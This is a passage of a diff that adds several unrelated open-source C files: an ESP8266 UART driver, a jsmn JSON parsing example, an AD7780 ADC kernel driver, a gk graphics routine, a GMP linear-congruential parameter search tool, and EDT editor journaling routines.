"ets_sys.h" +#include "osapi.h" +#include "uart.h" +#include "osapi.h" +#include "uart_register.h" +#include "etshal.h" +#include "c_types.h" +#include "user_interface.h" +#include "esp_mphal.h" + +#define RX_BUF_SIZE (256) +#define UART_REPL UART0 + +// UartDev is defined and initialized in rom code. +extern UartDevice UartDev; + +// circular buffer for RX buffering +static uint16_t rx_buf_in; +static uint16_t rx_buf_out; +static uint8_t rx_buf[RX_BUF_SIZE]; + +static os_event_t uart_evt_queue[16]; + +static void uart0_rx_intr_handler(void *para); + +/****************************************************************************** + * FunctionName : uart_config + * Description : Internal used function + * UART0 used for data TX/RX, RX buffer size is 0x100, interrupt enabled + * UART1 just used for debug output + * Parameters : uart_no, use UART0 or UART1 defined ahead + * Returns : NONE +*******************************************************************************/ +static void ICACHE_FLASH_ATTR uart_config(uint8 uart_no) { + if (uart_no == UART1) { + PIN_FUNC_SELECT(PERIPHS_IO_MUX_GPIO2_U, FUNC_U1TXD_BK); + } else { + ETS_UART_INTR_ATTACH(uart0_rx_intr_handler, NULL); + PIN_PULLUP_DIS(PERIPHS_IO_MUX_U0TXD_U); + PIN_FUNC_SELECT(PERIPHS_IO_MUX_U0TXD_U, FUNC_U0TXD); + PIN_FUNC_SELECT(PERIPHS_IO_MUX_MTDO_U, FUNC_U0RTS); + } + + uart_div_modify(uart_no, UART_CLK_FREQ / (UartDev.baut_rate)); + + WRITE_PERI_REG(UART_CONF0(uart_no), UartDev.exist_parity + | UartDev.parity + | (UartDev.stop_bits << UART_STOP_BIT_NUM_S) + | (UartDev.data_bits << UART_BIT_NUM_S)); + + // clear rx and tx fifo,not ready + SET_PERI_REG_MASK(UART_CONF0(uart_no), UART_RXFIFO_RST | UART_TXFIFO_RST); + CLEAR_PERI_REG_MASK(UART_CONF0(uart_no), UART_RXFIFO_RST | UART_TXFIFO_RST); + + if (uart_no == UART0) { + // set rx fifo trigger + WRITE_PERI_REG(UART_CONF1(uart_no), + ((0x10 & UART_RXFIFO_FULL_THRHD) << UART_RXFIFO_FULL_THRHD_S) | + ((0x10 & UART_RX_FLOW_THRHD) << UART_RX_FLOW_THRHD_S) | + UART_RX_FLOW_EN | + (0x02 & UART_RX_TOUT_THRHD) << UART_RX_TOUT_THRHD_S | + UART_RX_TOUT_EN); + SET_PERI_REG_MASK(UART_INT_ENA(uart_no), UART_RXFIFO_TOUT_INT_ENA | + UART_FRM_ERR_INT_ENA); + } else { + WRITE_PERI_REG(UART_CONF1(uart_no), + ((UartDev.rcv_buff.TrigLvl & UART_RXFIFO_FULL_THRHD) << UART_RXFIFO_FULL_THRHD_S)); + } + + // clear all interrupt + WRITE_PERI_REG(UART_INT_CLR(uart_no), 0xffff); + // enable rx_interrupt + SET_PERI_REG_MASK(UART_INT_ENA(uart_no), UART_RXFIFO_FULL_INT_ENA); + + // init RX buffer + rx_buf_in = 0; + rx_buf_out = 0; +} + +/****************************************************************************** + * FunctionName : uart1_tx_one_char + * Description : Internal used function + * Use uart1 interface to transfer one char + * Parameters : uint8 TxChar - character to tx + * Returns : OK +*******************************************************************************/ +void uart_tx_one_char(uint8 uart, uint8 TxChar) { + while (true) { + uint32 fifo_cnt = READ_PERI_REG(UART_STATUS(uart)) & (UART_TXFIFO_CNT<> UART_TXFIFO_CNT_S & UART_TXFIFO_CNT) < 126) { + break; + } + } + WRITE_PERI_REG(UART_FIFO(uart), TxChar); +} + +/****************************************************************************** + * FunctionName : uart1_write_char + * Description : Internal used function + * Do some special deal while tx char is '\r' or '\n' + * Parameters : char c - character to tx + * Returns : NONE +*******************************************************************************/ +static void ICACHE_FLASH_ATTR +uart_os_write_char(char c) { + if (c == '\n') { + uart_tx_one_char(UART_OS, '\r'); + uart_tx_one_char(UART_OS, '\n'); + } else if (c == '\r') { + } else { + uart_tx_one_char(UART_OS, c); + } +} + +/****************************************************************************** + * FunctionName : uart0_rx_intr_handler + * Description : Internal used function + * UART0 interrupt handler, add self handle code inside + * Parameters : void *para - point to ETS_UART_INTR_ATTACH's arg + * Returns : NONE +*******************************************************************************/ + +static void uart0_rx_intr_handler(void *para) { + /* uart0 and uart1 intr combine togther, when interrupt occur, see reg 0x3ff20020, bit2, bit0 represents + * uart1 and uart0 respectively + */ + + uint8 uart_no = UART_REPL; + + if (UART_FRM_ERR_INT_ST == (READ_PERI_REG(UART_INT_ST(uart_no)) & UART_FRM_ERR_INT_ST)) { + // frame error + WRITE_PERI_REG(UART_INT_CLR(uart_no), UART_FRM_ERR_INT_CLR); + } + + if (UART_RXFIFO_FULL_INT_ST == (READ_PERI_REG(UART_INT_ST(uart_no)) & UART_RXFIFO_FULL_INT_ST)) { + // fifo full + goto read_chars; + } else if (UART_RXFIFO_TOUT_INT_ST == (READ_PERI_REG(UART_INT_ST(uart_no)) & UART_RXFIFO_TOUT_INT_ST)) { + read_chars: +#if 1 //MICROPY_REPL_EVENT_DRIVEN is not available here + ETS_UART_INTR_DISABLE(); + system_os_post(UART_TASK_ID, 0, 0); +#else + while (READ_PERI_REG(UART_STATUS(uart_no)) & (UART_RXFIFO_CNT << UART_RXFIFO_CNT_S)) { + uint8 RcvChar = READ_PERI_REG(UART_FIFO(uart_no)) & 0xff; + uint16_t rx_buf_in_next = (rx_buf_in + 1) % RX_BUF_SIZE; + if (rx_buf_in_next != rx_buf_out) { + rx_buf[rx_buf_in] = RcvChar; + rx_buf_in = rx_buf_in_next; + } + } +#endif + } +} + +int uart0_rx(void) { + if (rx_buf_out != rx_buf_in) { + int chr = rx_buf[rx_buf_out]; + rx_buf_out = (rx_buf_out + 1) % RX_BUF_SIZE; + return chr; + } else { + return -1; + } +} + +int uart_rx_one_char(uint8 uart_no) { + if (READ_PERI_REG(UART_STATUS(uart_no)) & (UART_RXFIFO_CNT << UART_RXFIFO_CNT_S)) { + return READ_PERI_REG(UART_FIFO(uart_no)) & 0xff; + } + return -1; +} + +/****************************************************************************** + * FunctionName : uart_init + * Description : user interface for init uart + * Parameters : UartBautRate uart0_br - uart0 bautrate + * UartBautRate uart1_br - uart1 bautrate + * Returns : NONE +*******************************************************************************/ +void ICACHE_FLASH_ATTR uart_init(UartBautRate uart0_br, UartBautRate uart1_br) { + // rom use 74880 baut_rate, here reinitialize + UartDev.baut_rate = uart0_br; + uart_config(UART0); + UartDev.baut_rate = uart1_br; + uart_config(UART1); + ETS_UART_INTR_ENABLE(); + + // install uart1 putc callback + os_install_putc1((void *)uart_os_write_char); +} + +void ICACHE_FLASH_ATTR uart_reattach() { + uart_init(UART_BIT_RATE_74880, UART_BIT_RATE_74880); +} + +// Task-based UART interface + +#include "py/obj.h" +#include "lib/utils/pyexec.h" + +void soft_reset(void); + +void uart_task_handler(os_event_t *evt) { + int c, ret = 0; + while ((c = uart_rx_one_char(UART_REPL)) >= 0) { + ret = pyexec_event_repl_process_char(c); + if (ret & PYEXEC_FORCED_EXIT) { + break; + } + } + + // Clear pending FIFO interrupts + WRITE_PERI_REG(UART_INT_CLR(UART_REPL), UART_RXFIFO_TOUT_INT_CLR | UART_RXFIFO_FULL_INT_ST); + // Enable UART interrupts, so our task will receive events again from IRQ handler + ETS_UART_INTR_ENABLE(); + + if (ret & PYEXEC_FORCED_EXIT) { + soft_reset(); + } +} + +void uart_task_init() { + system_os_task(uart_task_handler, UART_TASK_ID, uart_evt_queue, sizeof(uart_evt_queue) / sizeof(*uart_evt_queue)); +} diff --git a/pool/shard011/C/0142032_simple.c b/pool/shard011/C/0142032_simple.c new file mode 100644 index 0000000000000000000000000000000000000000..8431f547ffa05b606cfc0ca2822a1a7df7a332e5 --- /dev/null +++ b/pool/shard011/C/0142032_simple.c @@ -0,0 +1,110 @@ +/* + * Copyright (c) 2010 Serge A. Zaitsev + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + * + * adapted to RIOT by Kaspar Schleiser + * + * changes: - reduced nr of expected tokens to 16, stack would overflow + * otherwise with default stacksize on Cortex-M + */ + +#include +#include +#include + +#include "jsmn.h" + +/* + * A small example of jsmn parsing when JSON structure is known and number of + * tokens is predictable. + */ + +const char *JSON_STRING = + "{\"user\": \"johndoe\", \"admin\": false, \"uid\": 1000,\n " + "\"groups\": [\"users\", \"wheel\", \"audio\", \"video\"]}"; + +static int jsoneq(const char *json, jsmntok_t *tok, const char *s) +{ + if (tok->type == JSMN_STRING && (int) strlen(s) == tok->end - tok->start && + strncmp(json + tok->start, s, tok->end - tok->start) == 0) { + return 0; + } + return -1; +} + +int main(void) +{ + int i; + int r; + jsmn_parser p; + jsmntok_t t[16]; /* We expect no more than 16 tokens */ + + jsmn_init(&p); + r = jsmn_parse(&p, JSON_STRING, strlen(JSON_STRING), t, sizeof(t) / sizeof(t[0])); + if (r < 0) { + printf("Failed to parse JSON: %d\n", r); + return 1; + } + + /* Assume the top-level element is an object */ + if (r < 1 || t[0].type != JSMN_OBJECT) { + printf("Object expected\n"); + return 1; + } + + /* Loop over all keys of the root object */ + for (i = 1; i < r; i++) { + if (jsoneq(JSON_STRING, &t[i], "user") == 0) { + /* We may use strndup() to fetch string value */ + printf("- User: %.*s\n", t[i + 1].end - t[i + 1].start, + JSON_STRING + t[i + 1].start); + i++; + } + else if (jsoneq(JSON_STRING, &t[i], "admin") == 0) { + /* We may additionally check if the value is either "true" or "false" */ + printf("- Admin: %.*s\n", t[i + 1].end - t[i + 1].start, + JSON_STRING + t[i + 1].start); + i++; + } + else if (jsoneq(JSON_STRING, &t[i], "uid") == 0) { + /* We may want to do strtol() here to get numeric value */ + printf("- UID: %.*s\n", t[i + 1].end - t[i + 1].start, + JSON_STRING + t[i + 1].start); + i++; + } + else if (jsoneq(JSON_STRING, &t[i], "groups") == 0) { + int j; + printf("- Groups:\n"); + if (t[i + 1].type != JSMN_ARRAY) { + continue; /* We expect groups to be an array of strings */ + } + for (j = 0; j < t[i + 1].size; j++) { + jsmntok_t *g = &t[i + j + 2]; + printf(" * %.*s\n", g->end - g->start, JSON_STRING + g->start); + } + i += t[i + 1].size + 1; + } + else { + printf("Unexpected key: %.*s\n", t[i].end - t[i].start, + JSON_STRING + t[i].start); + } + } + return 0; +} diff --git a/pool/shard011/C/0142033_ad7780.c b/pool/shard011/C/0142033_ad7780.c new file mode 100644 index 0000000000000000000000000000000000000000..dec3ba6eba8a4c19792e6c9771d6bd0f287947ee --- /dev/null +++ b/pool/shard011/C/0142033_ad7780.c @@ -0,0 +1,266 @@ +/* + * AD7170/AD7171 and AD7780/AD7781 SPI ADC driver + * + * Copyright 2011 Analog Devices Inc. + * + * Licensed under the GPL-2. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#define AD7780_RDY BIT(7) +#define AD7780_FILTER BIT(6) +#define AD7780_ERR BIT(5) +#define AD7780_ID1 BIT(4) +#define AD7780_ID0 BIT(3) +#define AD7780_GAIN BIT(2) +#define AD7780_PAT1 BIT(1) +#define AD7780_PAT0 BIT(0) + +struct ad7780_chip_info { + struct iio_chan_spec channel; + unsigned int pattern_mask; + unsigned int pattern; +}; + +struct ad7780_state { + const struct ad7780_chip_info *chip_info; + struct regulator *reg; + struct gpio_desc *powerdown_gpio; + unsigned int gain; + u16 int_vref_mv; + + struct ad_sigma_delta sd; +}; + +enum ad7780_supported_device_ids { + ID_AD7170, + ID_AD7171, + ID_AD7780, + ID_AD7781, +}; + +static struct ad7780_state *ad_sigma_delta_to_ad7780(struct ad_sigma_delta *sd) +{ + return container_of(sd, struct ad7780_state, sd); +} + +static int ad7780_set_mode(struct ad_sigma_delta *sigma_delta, + enum ad_sigma_delta_mode mode) +{ + struct ad7780_state *st = ad_sigma_delta_to_ad7780(sigma_delta); + unsigned int val; + + switch (mode) { + case AD_SD_MODE_SINGLE: + case AD_SD_MODE_CONTINUOUS: + val = 1; + break; + default: + val = 0; + break; + } + + gpiod_set_value(st->powerdown_gpio, val); + + return 0; +} + +static int ad7780_read_raw(struct iio_dev *indio_dev, + struct iio_chan_spec const *chan, + int *val, + int *val2, + long m) +{ + struct ad7780_state *st = iio_priv(indio_dev); + + switch (m) { + case IIO_CHAN_INFO_RAW: + return ad_sigma_delta_single_conversion(indio_dev, chan, val); + case IIO_CHAN_INFO_SCALE: + *val = st->int_vref_mv * st->gain; + *val2 = chan->scan_type.realbits - 1; + return IIO_VAL_FRACTIONAL_LOG2; + case IIO_CHAN_INFO_OFFSET: + *val -= (1 << (chan->scan_type.realbits - 1)); + return IIO_VAL_INT; + } + + return -EINVAL; +} + +static int ad7780_postprocess_sample(struct ad_sigma_delta *sigma_delta, + unsigned int raw_sample) +{ + struct ad7780_state *st = ad_sigma_delta_to_ad7780(sigma_delta); + const struct ad7780_chip_info *chip_info = st->chip_info; + + if ((raw_sample & AD7780_ERR) || + ((raw_sample & chip_info->pattern_mask) != chip_info->pattern)) + return -EIO; + + if (raw_sample & AD7780_GAIN) + st->gain = 1; + else + st->gain = 128; + + return 0; +} + +static const struct ad_sigma_delta_info ad7780_sigma_delta_info = { + .set_mode = ad7780_set_mode, + .postprocess_sample = ad7780_postprocess_sample, + .has_registers = false, +}; + +#define AD7780_CHANNEL(bits, wordsize) \ + AD_SD_CHANNEL(1, 0, 0, bits, 32, wordsize - bits) + +static const struct ad7780_chip_info ad7780_chip_info_tbl[] = { + [ID_AD7170] = { + .channel = AD7780_CHANNEL(12, 24), + .pattern = 0x5, + .pattern_mask = 0x7, + }, + [ID_AD7171] = { + .channel = AD7780_CHANNEL(16, 24), + .pattern = 0x5, + .pattern_mask = 0x7, + }, + [ID_AD7780] = { + .channel = AD7780_CHANNEL(24, 32), + .pattern = 0x1, + .pattern_mask = 0x3, + }, + [ID_AD7781] = { + .channel = AD7780_CHANNEL(20, 32), + .pattern = 0x1, + .pattern_mask = 0x3, + }, +}; + +static const struct iio_info ad7780_info = { + .read_raw = ad7780_read_raw, + .driver_module = THIS_MODULE, +}; + +static int ad7780_probe(struct spi_device *spi) +{ + struct ad7780_state *st; + struct iio_dev *indio_dev; + int ret, voltage_uv = 0; + + indio_dev = devm_iio_device_alloc(&spi->dev, sizeof(*st)); + if (!indio_dev) + return -ENOMEM; + + st = iio_priv(indio_dev); + st->gain = 1; + + ad_sd_init(&st->sd, indio_dev, spi, &ad7780_sigma_delta_info); + + st->reg = devm_regulator_get(&spi->dev, "avdd"); + if (IS_ERR(st->reg)) + return PTR_ERR(st->reg); + + ret = regulator_enable(st->reg); + if (ret) { + dev_err(&spi->dev, "Failed to enable specified AVdd supply\n"); + return ret; + } + voltage_uv = regulator_get_voltage(st->reg); + + st->chip_info = + &ad7780_chip_info_tbl[spi_get_device_id(spi)->driver_data]; + + if (voltage_uv) + st->int_vref_mv = voltage_uv / 1000; + else + dev_warn(&spi->dev, "Reference voltage unspecified\n"); + + spi_set_drvdata(spi, indio_dev); + + indio_dev->dev.parent = &spi->dev; + indio_dev->name = spi_get_device_id(spi)->name; + indio_dev->modes = INDIO_DIRECT_MODE; + indio_dev->channels = &st->chip_info->channel; + indio_dev->num_channels = 1; + indio_dev->info = &ad7780_info; + + st->powerdown_gpio = devm_gpiod_get_optional(&spi->dev, + "powerdown", + GPIOD_OUT_LOW); + if (IS_ERR(st->powerdown_gpio)) { + ret = PTR_ERR(st->powerdown_gpio); + dev_err(&spi->dev, "Failed to request powerdown GPIO: %d\n", + ret); + goto error_disable_reg; + } + + ret = ad_sd_setup_buffer_and_trigger(indio_dev); + if (ret) + goto error_disable_reg; + + ret = iio_device_register(indio_dev); + if (ret) + goto error_cleanup_buffer_and_trigger; + + return 0; + +error_cleanup_buffer_and_trigger: + ad_sd_cleanup_buffer_and_trigger(indio_dev); +error_disable_reg: + regulator_disable(st->reg); + + return ret; +} + +static int ad7780_remove(struct spi_device *spi) +{ + struct iio_dev *indio_dev = spi_get_drvdata(spi); + struct ad7780_state *st = iio_priv(indio_dev); + + iio_device_unregister(indio_dev); + ad_sd_cleanup_buffer_and_trigger(indio_dev); + + regulator_disable(st->reg); + + return 0; +} + +static const struct spi_device_id ad7780_id[] = { + {"ad7170", ID_AD7170}, + {"ad7171", ID_AD7171}, + {"ad7780", ID_AD7780}, + {"ad7781", ID_AD7781}, + {} +}; +MODULE_DEVICE_TABLE(spi, ad7780_id); + +static struct spi_driver ad7780_driver = { + .driver = { + .name = "ad7780", + }, + .probe = ad7780_probe, + .remove = ad7780_remove, + .id_table = ad7780_id, +}; +module_spi_driver(ad7780_driver); + +MODULE_AUTHOR("Michael Hennerich "); +MODULE_DESCRIPTION("Analog Devices AD7780 and similar ADCs"); +MODULE_LICENSE("GPL v2"); diff --git a/pool/shard011/C/0142034_gradient.c b/pool/shard011/C/0142034_gradient.c new file mode 100644 index 0000000000000000000000000000000000000000..e2d003e83738a2241ed92b42b30f4c231bfd555e --- /dev/null +++ b/pool/shard011/C/0142034_gradient.c @@ -0,0 +1,52 @@ +/* + * This file is part of the gk project (https://github.com/recp/gk) + * Copyright (c) Recep Aslantas. + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with this program. If not, see . + */ + +#include "../../include/gk/gk.h" +#include "../../include/gk/clear.h" +#include "../../include/gk/pass.h" +#include "../../include/gk/gpu_state.h" +#include "../../include/gk/prims/builtin-prim.h" +#include "../types/impl_scene.h" +#include "../shader/builtin_shader.h" + +GK_EXPORT +void +gkClearEffect(GkScene *scene, GkPipeline *pip) { + GkContext *ctx; + vec2 size; + + ctx = gkContextOf(scene); + size[0] = scene->viewport[2] * scene->backingScale; + size[1] = scene->viewport[3] * scene->backingScale; + + gkPushState(ctx); + gkUseProgram(ctx, pip); + gkUniform2f(pip, "uSize", size); + gkRenderBuiltinPrim(scene, GK_PRIM_TEXQUAD); + gkPopState(ctx); +} + +GK_EXPORT +void +gkSetClearEffect(GkScene *scene, GkClearEffect effect) { + GkSceneImpl *sceneImpl; + + sceneImpl = (GkSceneImpl *)scene; + + sceneImpl->clearPipeline = gkBuiltinProg(GK_BUILTIN_PROG_CLR_GRAD_CIRC); +} diff --git a/pool/shard011/C/0142035_findlc.c b/pool/shard011/C/0142035_findlc.c new file mode 100644 index 0000000000000000000000000000000000000000..89a452c5aca05e038e854f11932887ca19090501 --- /dev/null +++ b/pool/shard011/C/0142035_findlc.c @@ -0,0 +1,252 @@ +/* +Copyright 2000 Free Software Foundation, Inc. + +This file is part of the GNU MP Library test suite. + +The GNU MP Library test suite is free software; you can redistribute it +and/or modify it under the terms of the GNU General Public License as +published by the Free Software Foundation; either version 3 of the License, +or (at your option) any later version. + +The GNU MP Library test suite is distributed in the hope that it will be +useful, but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General +Public License for more details. + +You should have received a copy of the GNU General Public License along with +the GNU MP Library test suite. If not, see http://www.gnu.org/licenses/. */ + +#include +#include +#include +#include +#include +#include "gmp.h" +#include "gmpstat.h" + +#define RCSID(msg) \ +static /**/const char *const rcsid[] = { (char *)rcsid, "\100(#)" msg } + +RCSID("$Id$"); + +int g_debug = 0; + +static mpz_t a; + +static void +sh_status (int sig) +{ + printf ("sh_status: signal %d caught. dumping status.\n", sig); + + printf (" a = "); + mpz_out_str (stdout, 10, a); + printf ("\n"); + fflush (stdout); + + if (SIGSEGV == sig) /* remove SEGV handler */ + signal (SIGSEGV, SIG_DFL); +} + +/* Input is a modulus (m). We shall find multiplier (a) and adder (c) + conforming to the rules found in the first comment block in file + mpz/urandom.c. + + Then run a spectral test on the generator and discard any + multipliers not passing. */ + +/* TODO: + + . find a better algorithm than a+=8; bigger jumps perhaps? + +*/ + +void +mpz_true_random (mpz_t s, unsigned long int nbits) +{ +#if __FreeBSD__ + FILE *fs; + char c[1]; + int i; + + mpz_set_ui (s, 0); + for (i = 0; i < nbits; i += 8) + { + for (;;) + { + int nread; + fs = fopen ("/dev/random", "r"); + nread = fread (c, 1, 1, fs); + fclose (fs); + if (nread != 0) + break; + sleep (1); + } + mpz_mul_2exp (s, s, 8); + mpz_add_ui (s, s, ((unsigned long int) c[0]) & 0xff); + printf ("%d random bits\n", i + 8); + } + if (nbits % 8 != 0) + mpz_mod_2exp (s, s, nbits); +#endif +} + +int +main (int argc, char *argv[]) +{ + const char usage[] = "usage: findlc [-dv] m2exp [low_merit [high_merit]]\n"; + int f; + int v_lose, m_lose, v_best, m_best; + int c; + int debug = 1; + int cnt_high_merit; + mpz_t m; + unsigned long int m2exp; +#define DIMS 6 /* dimensions run in spectral test */ + mpf_t v[DIMS-1]; /* spectral test result (there's no v + for 1st dimension */ + mpf_t f_merit, low_merit, high_merit; + mpz_t acc, minus8; + mpz_t min, max; + mpz_t s; + + + mpz_init (m); + mpz_init (a); + for (f = 0; f < DIMS-1; f++) + mpf_init (v[f]); + mpf_init (f_merit); + mpf_init_set_d (low_merit, .1); + mpf_init_set_d (high_merit, .1); + + while ((c = getopt (argc, argv, "a:di:hv")) != -1) + switch (c) + { + case 'd': /* debug */ + g_debug++; + break; + + case 'v': /* print version */ + puts (rcsid[1]); + exit (0); + + case 'h': + case '?': + default: + fputs (usage, stderr); + exit (1); + } + + argc -= optind; + argv += optind; + + if (argc < 1) + { + fputs (usage, stderr); + exit (1); + } + + /* Install signal handler. */ + if (SIG_ERR == signal (SIGSEGV, sh_status)) + { + perror ("signal (SIGSEGV)"); + exit (1); + } + if (SIG_ERR == signal (SIGHUP, sh_status)) + { + perror ("signal (SIGHUP)"); + exit (1); + } + + printf ("findlc: version: %s\n", rcsid[1]); + m2exp = atol (argv[0]); + mpz_init_set_ui (m, 1); + mpz_mul_2exp (m, m, m2exp); + printf ("m = 0x"); + mpz_out_str (stdout, 16, m); + puts (""); + + if (argc > 1) /* have low_merit */ + mpf_set_str (low_merit, argv[1], 0); + if (argc > 2) /* have high_merit */ + mpf_set_str (high_merit, argv[2], 0); + + if (debug) + { + fprintf (stderr, "low_merit = "); + mpf_out_str (stderr, 10, 2, low_merit); + fprintf (stderr, "; high_merit = "); + mpf_out_str (stderr, 10, 2, high_merit); + fputs ("\n", stderr); + } + + mpz_init (minus8); + mpz_set_si (minus8, -8L); + mpz_init_set_ui (acc, 0); + mpz_init (s); + mpz_init_set_d (min, 0.01 * pow (2.0, (double) m2exp)); + mpz_init_set_d (max, 0.99 * pow (2.0, (double) m2exp)); + + mpz_true_random (s, m2exp); /* Start. */ + mpz_setbit (s, 0); /* Make it odd. */ + + v_best = m_best = 2*(DIMS-1); + for (;;) + { + mpz_add (acc, acc, s); + mpz_mod_2exp (acc, acc, m2exp); +#if later + mpz_and_si (a, acc, -8L); +#else + mpz_and (a, acc, minus8); +#endif + mpz_add_ui (a, a, 5); + if (mpz_cmp (a, min) <= 0 || mpz_cmp (a, max) >= 0) + continue; + + spectral_test (v, DIMS, a, m); + for (f = 0, v_lose = m_lose = 0, cnt_high_merit = DIMS-1; + f < DIMS-1; f++) + { + merit (f_merit, f + 2, v[f], m); + + if (mpf_cmp_ui (v[f], 1 << (30 / (f + 2) + (f == 2))) < 0) + v_lose++; + + if (mpf_cmp (f_merit, low_merit) < 0) + m_lose++; + + if (mpf_cmp (f_merit, high_merit) >= 0) + cnt_high_merit--; + } + + if (0 == v_lose && 0 == m_lose) + { + mpz_out_str (stdout, 10, a); puts (""); fflush (stdout); + if (0 == cnt_high_merit) + break; /* leave loop */ + } + if (v_lose < v_best) + { + v_best = v_lose; + printf ("best (v_lose=%d; m_lose=%d): ", v_lose, m_lose); + mpz_out_str (stdout, 10, a); puts (""); fflush (stdout); + } + if (m_lose < m_best) + { + m_best = m_lose; + printf ("best (v_lose=%d; m_lose=%d): ", v_lose, m_lose); + mpz_out_str (stdout, 10, a); puts (""); fflush (stdout); + } + } + + mpz_clear (m); + mpz_clear (a); + for (f = 0; f < DIMS-1; f++) + mpf_clear (v[f]); + mpf_clear (f_merit); + mpf_clear (low_merit); + mpf_clear (high_merit); + + printf ("done.\n"); + return 0; +} diff --git a/pool/shard011/C/0142036_journaling.c b/pool/shard011/C/0142036_journaling.c new file mode 100644 index 0000000000000000000000000000000000000000..eefdc1a11ab78c393eed21cd8b5366dbfab557f3 --- /dev/null +++ b/pool/shard011/C/0142036_journaling.c @@ -0,0 +1,216 @@ +//+++2001-10-06 +// Copyright (C) 2001, Mike Rieker, Beverly, MA USA +// +// This program is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; version 2 of the License. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +//---2001-10-06 + +/************************************************************************/ +/* */ +/* Journaling routines */ +/* */ +/* These routines are wrappers around the os_read* routines. If the */ +/* recovery file is open, they read from it, else they call the os */ +/* read routine. Either way, if the journal file is open, they write */ +/* the results from the read to it. */ +/* */ +/************************************************************************/ + +#include +#include +#include +#include +#include + +#include "edt.h" + +/************************************************************************/ +/* */ +/* Read from journal or terminal (in line mode) with prompt */ +/* */ +/* Input: */ +/* */ +/* prompt = prompt string pointer */ +/* */ +/* Output: */ +/* */ +/* jnl_readprompt = NULL : eof */ +/* else : string pointer */ +/* */ +/************************************************************************/ + +String *jnl_readprompt (const char *prompt) + +{ + char *buff, header[16], *p; + String *string; + uLong strln; + + /* If recovery file open, read from it, otherwise read from terminal */ + + if (recover_file == NULL) goto readterminal; + if (fgets (header, sizeof header, recover_file) == NULL) goto closerecovery; + if (header[0] != '*') goto badrecovery; + if (strcmp (header + 1, "EOF\n") == 0) + { + string = NULL; + goto writejournal; + } + strln = strtoul (header + 1, &p, 10); + if (*p != '\n') goto badrecovery; + buff = malloc (strln + 1); + if (fread (buff, strln, 1, recover_file) == 0) goto closerecovery; + string = string_create (strln, buff); + buff[strln] = 0; + outfmt (strlen (prompt) + strlen (buff), "%s%s\n", prompt, buff); + free (buff); + goto writejournal; + +badrecovery: + outerr (strlen (header), "bad recovery file format at %s\n", header); +closerecovery: + fclose (recover_file); + recover_file = NULL; + + /* Read from terminal screen after flushing any output */ + +readterminal: + output (); + string = os_readprompt (prompt); + + /* Write journal record */ + +writejournal: + if (journal_file != NULL) + { + if (string == NULL) fprintf (journal_file, "*EOF\n"); + else + { + strln = string_getlen (string); + fprintf (journal_file, "*%u\n", strln); + fwrite (string_getval (string), strln, 1, journal_file); + } + } + + /* Return pointer to string (NULL for eof) */ + + return (string); +} + +/************************************************************************/ +/* */ +/* Read keypad sequence from journal or terminal without echoing */ +/* */ +/* Output: */ +/* */ +/* jnl_readkeyseq = 0 : eof */ +/* 1 : keysequences appended to keystring */ +/* */ +/************************************************************************/ + +int jnl_readkeyseq (String *keystring) + +{ + char *buff, header[16], *p; + int ok; + uLong origlen, strln; + + origlen = string_getlen (keystring); + + /* If recovery file open, read from it, otherwise read from terminal */ + + if (recover_file == NULL) goto readterminal; + ok = 1; + if (fgets (header, sizeof header, recover_file) == NULL) goto closerecovery; + if (header[0] != '*') goto badrecovery; + if (strcmp (header + 1, "EOF\n") == 0) + { + ok = 0; + goto writejournal; + } + strln = strtoul (header + 1, &p, 10); + if (*p != '\n') goto badrecovery; + buff = malloc (strln); + if (fread (buff, strln, 1, recover_file) == 0) goto closerecovery; + string_concat (keystring, strln, buff); + free (buff); + goto writejournal; + +badrecovery: + outerr (strlen (header), "bad recovery file format at %s\n", header); +closerecovery: + fclose (recover_file); + recover_file = NULL; + + /* Read from terminal screen after flushing any output */ + +readterminal: + output (); + ok = os_readkeyseq (keystring); + + /* Write journal record */ + +writejournal: + if (journal_file != NULL) + { + if (!ok) fprintf (journal_file, "*EOF\n"); + else + { + strln = string_getlen (keystring) - origlen; + fprintf (journal_file, "*%u\n", strln); + fwrite (string_getval (keystring) + origlen, strln, 1, journal_file); + } + } + + return (ok); +} + +/************************************************************************/ +/* */ +/* Call this periodically to flush journal file */ +/* */ +/************************************************************************/ + +void jnl_flush (void) + +{ + if (journal_file != NULL) + { + if (fflush (journal_file) < 0) + { + outerr (strlen (strerror (errno)), "error flushing journal file: %s\n", strerror (errno)); + fclose (journal_file); + journal_file = NULL; + } + } +} + +/************************************************************************/ +/* */ +/* Close and maybe delete journal file */ +/* */ +/************************************************************************/ + +void jnl_close (int del) + +{ + if (journal_file != NULL) + { + if (fclose (journal_file) < 0) outerr (strlen (strerror (errno)), "error closing journal file: %s\n", 